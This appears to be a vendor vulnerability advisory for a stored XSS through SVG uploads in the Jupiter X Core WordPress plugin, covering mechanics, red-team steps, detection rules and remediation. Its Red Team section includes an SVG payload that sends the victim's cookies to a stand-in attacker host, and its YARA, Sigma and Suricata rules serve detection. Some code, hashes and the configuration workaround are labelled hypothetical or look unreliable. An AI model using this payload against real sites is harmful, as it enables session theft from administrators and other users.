CVE-2025-3888
Executive Summary
CVE-2025-3888 is a Stored Cross-Site Scripting (XSS) vulnerability in the Jupiter X Core plugin for WordPress, affecting all versions up to and including 4.8.12. The vulnerability arises from insufficient input sanitization and output escaping when handling SVG file uploads. Authenticated attackers with Contributor-level access or higher can upload malicious SVG files containing arbitrary JavaScript. When other users (including administrators) view the page containing the SVG, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.
This vulnerability is specific to the WordPress ecosystem and the Jupiter X Core plugin. It does not affect Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: Required (victim must view the page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the low complexity and potential for privilege escalation (e.g., stealing admin cookies) elevate the risk.
Deep Dive & Mechanics
The Jupiter X Core plugin allows authenticated users to upload SVG files for use in media library or page content. The plugin fails to properly sanitize SVG files, which can contain embedded JavaScript via <script> tags or event handlers like onload. When the SVG is rendered on a page, the browser executes the malicious script.
Root Cause: The plugin does not strip or escape dangerous content from SVG files before storing them. The wp_kses function or similar sanitization is either not applied or is insufficient for SVG MIME types.
Attack Flow:
- Attacker logs in with Contributor-level or higher privileges.
- Attacker uploads a crafted SVG file containing JavaScript (e.g.,
<script>alert('XSS')</script>). - The SVG is stored on the server and embedded in a page (e.g., via a shortcode or media block).
- When a victim (including admins) visits the page, the SVG is rendered and the script executes.
- The script can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical example from Jupiter X Core <= 4.8.12):
// In a file handling SVG uploads
function jupiterx_core_handle_svg_upload($file) {
// No sanitization of SVG content
return $file;
}
Patched Code (expected fix):
function jupiterx_core_handle_svg_upload($file) {
// Sanitize SVG content using a library like svg-sanitizer
$sanitized = new \enshrined\svgSanitize\Sanitizer();
$file['tmp_name'] = $sanitized->sanitize(file_get_contents($file['tmp_name']));
return $file;
}
The patch should strip <script> tags, event handlers, and other executable content from SVG files.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Jupiter X Core <= 4.8.12
- Contributor-level account credentials
Steps:
- Create a malicious SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>alert('XSS')</script>
</svg>
- Log in to WordPress as a Contributor.
- Navigate to Media > Add New and upload the SVG file.
- Insert the SVG into a page or post using the media library.
- Share the page link with the victim.
Advanced Payload (cookie theft):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</svg>
Blue Team
Detection:
- Monitor for SVG file uploads by non-admin users.
- Inspect SVG files for
<script>tags or event handlers. - Use WAF rules to block SVG uploads containing JavaScript.
Prevention:
- Restrict SVG uploads to administrators only.
- Use a plugin like "Safe SVG" that sanitizes SVG files.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File Hashes (example):
e99a18c428cb38d5f260853678922e03(MD5 of a malicious SVG)
- Network Traffic:
- Outbound requests to attacker-controlled domains from WordPress admin pages.
- Log Entries:
- WordPress audit logs showing SVG uploads by Contributor-level users.
- Browser console errors related to CSP violations.
- File Artifacts:
- SVG files in
/wp-content/uploads/containing<script>tags.
- SVG files in
Detection Engineering
YARA Rule
rule CVE_2025_3888_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-3888"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3888"
strings:
$svg_header = "<?xml" nocase
$svg_tag = "<svg" nocase
$script_tag = "<script" nocase
$onload = "onload=" nocase
$onerror = "onerror=" nocase
condition:
$svg_header and $svg_tag and ($script_tag or $onload or $onerror)
}
Sigma Rule
title: CVE-2025-3888 - Stored XSS via SVG Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\wp-admin\async-upload.php'
TargetFilename|endswith: '.svg'
filter:
- TargetFilename|contains: 'safe-svg' # Exclude if sanitized
condition: selection and not filter
falsepositives:
- Legitimate SVG files with no executable content
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3888 - SVG Upload with Script Tag"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:"filename="; content:".svg"; fileext; content:"<script"; within:1000; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads for non-admin users via a plugin or custom code.
- Apply the official patch from Jupiter X Core when available.
- Use a Web Application Firewall (WAF) to block SVG files containing
<script>tags.
Long-term Fix:
- Update Jupiter X Core to version > 4.8.12 once patched.
- Implement server-side SVG sanitization using libraries like
svg-sanitizer. - Enforce Content Security Policy (CSP) headers to block inline scripts.
Workaround:
- Add the following to
wp-config.phpto restrict SVG uploads:
define('ALLOW_UNFILTERED_UPLOADS', false);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.